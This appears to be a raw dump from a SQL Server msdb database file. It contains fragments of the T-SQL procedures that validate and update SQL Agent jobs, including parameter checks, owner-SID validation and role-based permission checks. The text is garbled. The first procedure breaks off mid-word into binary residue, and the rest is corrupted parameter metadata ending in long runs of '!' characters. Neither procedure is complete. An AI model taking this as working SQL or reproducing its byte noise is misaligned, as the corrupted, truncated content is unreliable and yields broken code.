  @owner_sid                    VARBINARY(85) OUTPUT, -- Output since we may modify it
  @notify_level_eventlog        INT,
  @notify_level_email           INT           OUTPUT, -- Output since we may reset it to 0
  @notify_level_netsend         INT           OUTPUT, -- Output since we may reset it to 0
  @notify_level_page            INT           OUTPUT, -- Output since we may reset it to 0
  @notify_email_operator_name   sysname,
  @notify_netsend_operator_name sysname,
  @notify_page_operator_name    sysname,
  @delete_level                 INT,
  @category_id                  INT           OUTPUT, -- The ID corresponding to the name
  @notify_email_operator_id     INT           OUTPUT, -- The ID corresponding to the name
  @notify_netsend_operator_id   INT           OUTPUT, -- The ID corresponding to the name
  @notify_page_operator_id      INT           OUTPUT, -- The ID corresponding to the name
  @originating_server           sysname       OUTPUT  -- Output since we may modify it
AS
BEGIN
  DECLARE @job_type           INT
  DECLARE @retval             INT
  DECLARE @current_date       INT
  DECLARE @res_valid_range    NVARCHAR(200)

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @name                       = LTRIM(RTRIM(@name))
  SELECT @category_name              = LTRIM(RTRIM(@category_name))
  SELECT @originating_server         = UPPER(LTRIM(RTRIM(@originating_server)))

  SELECT @originating_server = ISNULL(@originating_server, UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName'))))

  -- Check originating server (only the SQLServerAgent can add jobs that originate from a remote server)
  IF (@originating_server <> UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))) AND
     (PROGRAM_NAME() NOT LIKE N'SQLAgent%')
  BEGIN
    RAISERROR(14275, -1, -1)
    RETURN(1) -- Failure
  END
  
  -- NOTE: We allow jobs with the same name (since job_id is always unique) but only if
  --       they originate from different servers.  Thus jobs can flow from an MSX to a TSX
  --       without having to worry about naming conflicts.
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobs as job
                JOIN msdb.dbo.sysoriginatingservers_view as svr 
                  ON (svr.originating_server_id = job.originating_server_id)  
              WHERE (name = @name)
                AND (svr.originating_server = @originating_server)
                AND (job_id <> ISNULL(@job_id, 0x911)))) -- When adding a new job @job_id is NULL
  BEGIN
    RAISERROR(14261, -1, -1, '@name', @name)
    RETURN(1) -- Failure
  END

  -- Check enabled state
  IF (@enabled <> 0) AND (@enabled <> 1)
  BEGIN
    RAISERROR(14266, -1, -1, '@enabled', '0, 1')
    RETURN(1) -- Failure
  END

  -- Check start step
  IF (@job_id IS NULL)
  BEGIN
    -- New job
    -- NOTE: For [new] MSX jobs we allow the start step to be other than 1 since
    --       the start step was validated when the job was created at the MSX
    IF (@start_step_id <> 1) AND (@originating_server = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName'))))
    BEGIN
      RAISERROR(14266, -1, -1, '@start_step_id', '1')
      RETURN(1) -- Failure
    END
  END
  ELSE
  BEGIN
    -- Existing job
    DECLARE @max_step_id INT
    DECLARE @valid_range VARCHAR(50)

    -- Get current maximum step id
    SELECT @max_step_id = ISNULL(MAX(step_id), 0)
    FROM msdb.dbo.sysjobsteps
    WHERE (job_id = @job_id)

    IF (@start_step_id < 1) OR (@start_step_id > @max_step_id + 1)
    BEGIN
      SELECT @valid_range = '1..' + CONVERT(VARCHAR, @max_step_id + 1)
      RAISERROR(14266, -1, -1, '@start_step_id', @valid_range)
      RETURN(1) -- Failure
    END
  END

  -- Check category
  SELECT @job_type = NULL

  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobservers
              WHERE (job_id = @job_id)
                AND (server_id = 0)))
    SELECT @job_type = 1 -- LOCAL

  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobservers
              WHERE (job_id = @job_id)
                AND (server_id <> 0)))
    SELECT @job_type = 2 -- MULTI-SERVER

  -- A local job cannot be added to a multi-server job_category
  IF (@job_type = 1) AND (EXISTS (SELECT *
                                  FROM msdb.dbo.syscategories
                                  WHERE (category_class = 1) -- Job
                                    AND (category_type = 2) -- Multi-Server
                                    AND (name = @category_name)))
  BEGIN
    RAISERROR(14285, -1, -1)
    RETURN(1) -- Failure
  END

  -- A multi-server job cannot be added to a local job_category
  IF (@job_type = 2) AND (EXISTS (SELECT *
                                  FROM msdb.dbo.syscategories
                                  WHERE (category_class = 1) -- Job
                                    AND (category_type = 1) -- Local
                                    AND (name = @category_name)))
  BEGIN
    RAISERROR(14286, -1, -1)
    RETURN(1) -- Failure
  END

  -- Get the category_id, handling any special-cases as appropriate
  SELECT @category_id = NULL
  IF (@category_name = N'[DEFAULT]') -- User wants to revert to the default job category
  BEGIN
    SELECT @category_id = CASE ISNULL(@job_type, 1)
                            WHEN 1 THEN 0 -- [Uncategorized (Local)]
                            WHEN 2 THEN 2 -- [Uncategorized (Multi-Server)]
                          END
  END
  ELSE
  IF (@category_name IS NULL) -- The sp_add_job default
  BEGIN
    SELECT @category_id = 0
  END
  ELSE
  BEGIN
    SELECT @category_id = category_id
    FROM msdb.dbo.syscategories
    WHERE (category_class = 1) -- Job
      AND (name = @category_name)
  END

  IF (@category_id IS NULL)
  BEGIN
    RAISERROR(14234, -1, -1, '@category_name', 'sp_help_category')
    RETURN(1) -- Failure
  END

  -- Only SQLServerAgent may add jobs to the 'Jobs From MSX' category
  IF (@category_id = 1) AND
     (PROGRAM_NAME() NOT LIKE N'SQLAgent%')
  BEGIN
    RAISERROR(14267, -1, -1, @category_name)
    RETURN(1) -- Failure
  END

  -- Check owner
  -- Default the owner to be the calling user if:
  -- caller is not a sysadmin
  -- caller is not SQLAgentOperator and job_id is NULL, meaning new job 
  IF (((ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) = 0) AND
      ((ISNULL(IS_MEMBER('SQLAgentOperatorRole'), 0) = 0) AND @job_id IS NULL)) AND
      (@owner_sid <> SUSER_SID()))
  BEGIN
    SELECT @owner_sid = SUSER_SID()
  END
  
  -- Now just check that the login id is valid (ie. it exists and isn't an NT group)
  IF ((@owner_sid <> 0x010100000000000512000000) AND -- NT AUTHORITY\SYSTEM sid
     (@owner_sid <> 0x010100000000000514000000)) OR  -- NT AUTHORITY\NETWORK SERVICE sid
     (@owner_sid IS NULL)
  BEGIN
     IF (@owner_sid IS NULL OR (EXISTS (SELECT sid
                                      FROM sys.syslogins
                                      WHERE sid = @owner_sid
                                        AND isntgroup <> 0)))
     BEGIN
       -- NOTE: In the following message we quote @owner_login_name instead of @owner_sid
       --       since this is the parameter the user passed to the calling SP (ie. either
       --       sp_add_job or sp_update_job)
       SELECT @res_valid_range = FORMATMESSAGE(14203)
       RAISERROR(14234, -1, -1, '@owner_login_name', @res_valid_range)
       RETURN(1) -- Failure
     END
  END
  
  -- Check notification levels (must be 0, 1, 2 or 3)
  IF (@notify_level_eventlog & 0x3 <> @notify_level_eventlog)
  BEGIN
    RAISERROR(14266, -1, -1, '@notify_level_eventlog', '0, 1, 2, 3')
    RETURN(1) -- Failu!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(?"
vLCREATE PROCEDURE sp_update_job
  @job_id                       UNIQUEIDENTIFIER = NULL, -- Must provide this or current_name
  @job_name                     sysname          = NULL, -- Must provide this or job_id
  @new_name                     sysname          = NULL,
  @enabled                      TINYINT          = NULL,
  @description                  NVARCHAR(512)    = NULL,
  @start_step_id                INT              = NULL,
  @category_name                sysname          = NULL,
  @owner_login_name             sysname          = NULL,
  @notify_level_eventlog        INT              = NULL,
  @notify_level_email           INT              = NULL,
  @notify_level_netsend         INT              = NULL,
  @notify_level_page            INT              = NULL,
  @notify_email_operator_name   sysname          = NULL,
  @notify_netsend_operator_name sysname          = NULL,
  @notify_page_operator_name    sysname          = NULL,
  @delete_level                 INT              = NULL,
  @automatic_post               BIT              = 1     -- Flag for SEM use only
AS
BEGIN
  DECLARE @retval                        INT
  DECLARE @category_id                   INT
  DECLARE @notify_email_operator_id      INT
  DECLARE @notify_netsend_operator_id    INT
  DECLARE @notify_page_operator_id       INT
  DECLARE @owner_sid                     VARBINARY(85)
  DECLARE @alert_id                      INT
  DECLARE @cached_attribute_modified     INT
  DECLARE @is_sysadmin                   INT
  DECLARE @current_owner                 sysname
  DECLARE @enable_only_used              INT

  DECLARE @x_new_name                    sysname
  DECLARE @x_enabled                     TINYINT
  DECLARE @x_description                 NVARCHAR(512)
  DECLARE @x_start_step_id               INT
  DECLARE @x_category_name               sysname
  DECLARE @x_category_id                 INT
  DECLARE @x_owner_sid                   VARBINARY(85)
  DECLARE @x_notify_level_eventlog       INT
  DECLARE @x_notify_level_email          INT
  DECLARE @x_notify_level_netsend        INT
  DECLARE @x_notify_level_page           INT
  DECLARE @x_notify_email_operator_name  sysname
  DECLARE @x_notify_netsnd_operator_name sysname
  DECLARE @x_notify_page_operator_name   sysname
  DECLARE @x_delete_level                INT
  DECLARE @x_originating_server_id       INT -- Not updatable
  DECLARE @x_master_server               BIT

  -- Remove any leading/trailing spaces from parameters (except @owner_login_name)
  SELECT @job_name                     = LTRIM(RTRIM(@job_name))
  SELECT @new_name                     = LTRIM(RTRIM(@new_name))
  SELECT @description                  = LTRIM(RTRIM(@description))
  SELECT @category_name                = LTRIM(RTRIM(@category_name))
  SELECT @notify_email_operator_name   = LTRIM(RTRIM(@notify_email_operator_name))
  SELECT @notify_netsend_operator_name = LTRIM(RTRIM(@notify_netsend_operator_name))
  SELECT @notify_page_operator_name    = LTRIM(RTRIM(@notify_page_operator_name))

  SET NOCOUNT ON

  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Are we modifying an attribute which SQLServerAgent caches?
  IF ((@new_name                     IS NOT NULL) OR
      (@enabled                      IS NOT NULL) OR
      (@start_step_id                IS NOT NULL) OR
      (@owner_login_name             IS NOT NULL) OR
      (@notify_level_eventlog        IS NOT NULL) OR
      (@notify_level_email           IS NOT NULL) OR
      (@notify_level_netsend         IS NOT NULL) OR
      (@notify_level_page            IS NOT NULL) OR
      (@notify_email_operator_name   IS NOT NULL) OR
      (@notify_netsend_operator_name IS NOT NULL) OR
      (@notify_page_operator_name    IS NOT NULL) OR
      (@delete_level                 IS NOT NULL))
    SELECT @cached_attribute_modified = 1
  ELSE
    SELECT @cached_attribute_modified = 0
    
  -- Is @enable the only parameter used beside jobname and jobid?
  IF ((@enabled                   IS NOT NULL) AND
     (@new_name                IS NULL) AND
     (@description                  IS NULL) AND
     (@start_step_id                IS NULL) AND
     (@category_name                IS NULL) AND
     (@owner_login_name             IS NULL) AND
     (@notify_level_eventlog        IS NULL) AND
     (@notify_level_email           IS NULL) AND
     (@notify_level_netsend         IS NULL) AND
     (@notify_level_page            IS NULL) AND
     (@notify_email_operator_name   IS NULL) AND
     (@notify_netsend_operator_name IS NULL) AND
     (@notify_page_operator_name    IS NULL) AND
     (@delete_level                 IS NULL))
    SELECT @enable_only_used = 1
  ELSE
    SELECT @enable_only_used = 0

  -- Set the x_ (existing) variables
  SELECT @x_new_name                    = sjv.name,
         @x_enabled                     = sjv.enabled,
         @x_description                 = sjv.description,
         @x_start_step_id               = sjv.start_step_id,
         @x_category_name               = sc.name,                  -- From syscategories
         @x_category_id                 = sc.category_id,           -- From syscategories
         @x_owner_sid                   = sjv.owner_sid,
         @x_notify_level_eventlog       = sjv.notify_level_eventlog,
         @x_notify_level_email          = sjv.notify_level_email,
         @x_notify_level_netsend        = sjv.notify_level_netsend,
         @x_notify_level_page           = sjv.notify_level_page,
         @x_notify_email_operator_name  = so1.name,                   -- From sysoperators
         @x_notify_netsnd_operator_name = so2.name,                   -- From sysoperators
         @x_notify_page_operator_name   = so3.name,                   -- From sysoperators
         @x_delete_level                = sjv.delete_level,
         @x_originating_server_id       = sjv.originating_server_id,
         @x_master_server               = master_server
  FROM msdb.dbo.sysjobs_view                 sjv
       LEFT OUTER JOIN msdb.dbo.sysoperators so1 ON (sjv.notify_email_operator_id = so1.id)
       LEFT OUTER JOIN msdb.dbo.sysoperators so2 ON (sjv.notify_netsend_operator_id = so2.id)
       LEFT OUTER JOIN msdb.dbo.sysoperators so3 ON (sjv.notify_page_operator_id = so3.id),
       msdb.dbo.syscategories                sc
  WHERE (sjv.job_id = @job_id)
    AND (sjv.category_id = sc.category_id)

  -- Check authority (only SQLServerAgent can modify a non-local job)
  IF ((@x_master_server = 1) AND (PROGRAM_NAME() NOT LIKE N'SQLAgent%') )
  BEGIN
    RAISERROR(14274, -1, -1)
    RETURN(1) -- Failure
  END
  
  -- Check permissions beyond what's checked by the sysjobs_view
  -- SQLAgentReader and SQLAgentOperator roles that can see all jobs
  -- cannot modify jobs they do not own
  IF ( (@x_owner_sid <> SUSER_SID())                  -- does not own the job
      AND (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1)   -- is not sysadmin
      AND (@enable_only_used <> 1 OR ISNULL(IS_MEMBER(N'SQLAgentOperatorRole'), 0) <> 1))
  BEGIN
   RAISERROR(14525, -1, -1);
   RETURN(1) -- Failure
  END

  -- Check job category, only sysadmin can modify mutli-server jobs        
  IF (EXISTS (SELECT * FROM msdb.dbo.syscategories WHERE (category_class = 1) -- Job
                                                     AND (category_type = 2) -- Multi-Server
                                                     AND (category_id = @x_category_id)
                                                     AND (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1))) -- is not sysadmin
  BEGIN
     RAISERROR(14396, -1, -1);
     RETURN(1) -- Failure
  END !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`-)@CHc0-^?88
A@flags0-^?4W@output_file_name0-^?88
G@proxy_id0-Y1?4?@name0-Y1?88
I@policy_id0-Y1?88
O@condition_id0-Y1?4S@condition_name0-Y1?88
S@execution_mode0-Y1?4U@policy_category0-Y1?$$O@schedule_uid0-Y1?4M@description0-Y1?	@4I@help_text0-Y1?
F4I@help_link0-Y1?88
Y@root_condition_id0-Y1?4]@root_condition_name0-Y1?
88
Q@object_set_id0-Y1?4K@object_set0-Y1?hhK@is_enableduser_name0-S@88
S@retry_attempts0-S@88
S@retry_interval0-S@88
U@os_run_priority0-S@4W@output_file_name0-S@88
A@flags0-S@88
G@proxy_id0-S@4K@proxy_name0-S@$$G@step_uid0-@$$C@job_id0-@4G@job_name0-@88
E@step_id0-@4I@step_name0-@P4I@subsystem0-@4E@command0-@4a@additional_parameters0-@88
_@cmdexec_success_code0-@	00Y@on_success_action0-@
88
[@on_success_step_id0-@00S@on_fail_action0-@88
U@on_fail_step_id0-@
4C@server0-@4Q@database_name0-@4[@database_user_name0-@88
S@retry_attempts0-@88
S@retry_interval0-@88
U@os_run_priority0-@4W@output_file_name0-@88
A@flags0-@88
G@proxy_id0-@4K@proxy_name0-@$$G@step_uid0-A$$C@job_id0-A4G@job_name0-A88
E@step_id0-A4I@step_name0-AP4I@subsystem0-A4E@command0-A4a@additional_parameters0-A88
_@cmdexec_success_code0-A	00Y@on_success_action0-A
88
[@on_success_step_id0-A00S@on_fail_action0-A88
U@on_fail_step_id0-A
4C@server0-A4Q@database_name0-A4[@database_user_name0-A88
S@retry_attempts0-A88
S@retry_interval0-A88
U@os_run_priority0-A4W@output_file_name0-A88
A@flags0-A88
G@proxy_id0-A4K@proxy_name0-A88
Ievent_type0-A==
	CElog_date0-A4@Kdescription0-A88
Iprocess_id0-A88
Kmailitem_id0-A88
Iaccount_id0-A==F-DOlast_mod_date0-A	4QEOlast_mod_user0-A88
CPlog_id0-cf?$$Y@collection_job_id0-cf?$$Q@upload_job_id0-cf?88
M@schedule_id0-cf?44U@collection_mode0-Z@Alog_id0-Z@4Gtask_name0-Z@88
aexecution_row_count_in0-Z@88
cexecution_row_count_out0-Z@88
iexecution_row_count_errors0-Z@88
Wexecution_time_ms0-Z@==Elog_time0-Y1?4?@name0-Y1?88
I@policy_id0-Y1?88
O@condition_id0-Y1?4S@condition_name0-Y1?88
S@execution_mode0-Y1?4U@policy_category0-Y1?$$O@schedule_uid0-Y1?4M@description0-Y1?	@4I@help_text0-Y1?
F4I@help_link
c

	t	+	\K(?BCDYFWF?`i~?`B-G)ZAMwD0-)?K88
]cmdexec_success_code0-)?K	00Won_success_action0-)?K
88
Yon_success_step_id0-)?K00Qon_fail_action0-)?K88
Son_fail_step_id0-)?K
4Aserver0-)?K4Odatabase_name0-)?K4Ydatabase_user_name0-)?K88
Qretry_attempts0-)?K88
Qretry_interval0-)?K88
Sos_run_priority0-)?K4Uoutput_file_name0-)?K88
Ulast_run_outcome0-)?K88
Wlast_run_duration0-)?K88
Ulast_run_retries0-)?K88
Olast_run_date0-)?K88
Olast_run_time0-)?K88
Eproxy_id0-)?K$$Estep_uid0-bcL88
CPlog_id0-bcL4@;log0-bcL==ԫNMdate_created0-bcL==
|OOdate_modified0-bcLElog_size0-bcL$$Estep_uid0-8YkL$$C@job_id0-8YkL4G@job_name0-8YkL4Q@schedule_name0-8YkL88
M@schedule_id0-8YkLhh]@include_description0-q}_M$$C@job_id0-q}_M4?@name0-q}_M00E@enabled0-q}_M88
Q@start_step_id0-q}_M4Q@category_name0-q}_MUI@owner_sid0-q}_M88
a@notify_level_eventlog0-q}_M88
[@notify_level_email0-q}_M	88
_@notify_level_netsend0-q}_M
88
Y@notify_level_page0-q}_M4k@notify_email_operator_name0-q}_M4o@notify_netsend_operator_name0-q}_M
4i@notify_page_operator_name0-q}_M88
O@delete_level0-q}_M88
M@category_id0-q}_M88
g@notify_email_operator_id0-q}_M88
k@notify_netsend_operator_id0-q}_M88
e@notify_page_operator_id0-:KC@log_id0-:K4E@message0-^LC@log_id0-^L4I@task_name0-^L88
O@row_count_in0-^L88
Q@row_count_out0-^L88
U@row_count_error0-^L88
Y@execution_time_ms0-TL88
Q@target_set_id0-TLhhE@enabled0-JVL4U@network_account0-JVL4a@agent_service_account0-nJM88
Uconfiguration_id0-nJM4Wucp_instance_name0-nJM4Wmdw_database_name0-dM4Edac_name0-dM4edac_server_instance_name0-dM4Cfg_name0-dM88
 N[over_utilized_count0-dM88
YO]under_utilized_count0-dM88
Gfile_type0-dM88
PIset_number0-dM++
"
QSprocessing_timeO4M@description0-GO88
Q@start_step_id0-GO4Q@category_name0-GO4W@owner_login_name0-GO	88
a@notify_level_eventlog0-GO
88
[@notify_level_email0-GO88
_@notify_level_netsend0-GO88
Y@notify_level_page0-GO
4k@notify_email_operator_name0-GO4o@notify_netsend_operator_name0-GO4i@notify_page_operator_name0-GO88
O@delete_level0-GOhhS@automatic_post0-;P$$C@job_id0-;P4G@job_name0-;P4[@originating_server0-;PhhS@delete_history0-;Phhc@delete_unused_schedule0-U0Q$$C@job_id0-U0Q4G@job_type0-U0Q4W@owner_login_name0-U0QP4I@subsystem0-U0Q88
M@category_id0-U0Q00E@enabled0-:KC@log_id0-:K4z[
4
pU
j
%
		9|5}:BgEmAF	a,"(EDKRm`C-A)SB!(.0-)?K$$Ajob_id0-)?K88
Cstep_id0-)?K4Gstep_name0-)?KP4PGsubsystem0-)?K4@Ccommand0-)?K88
?flags0-)?K4@_additional_parameters!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!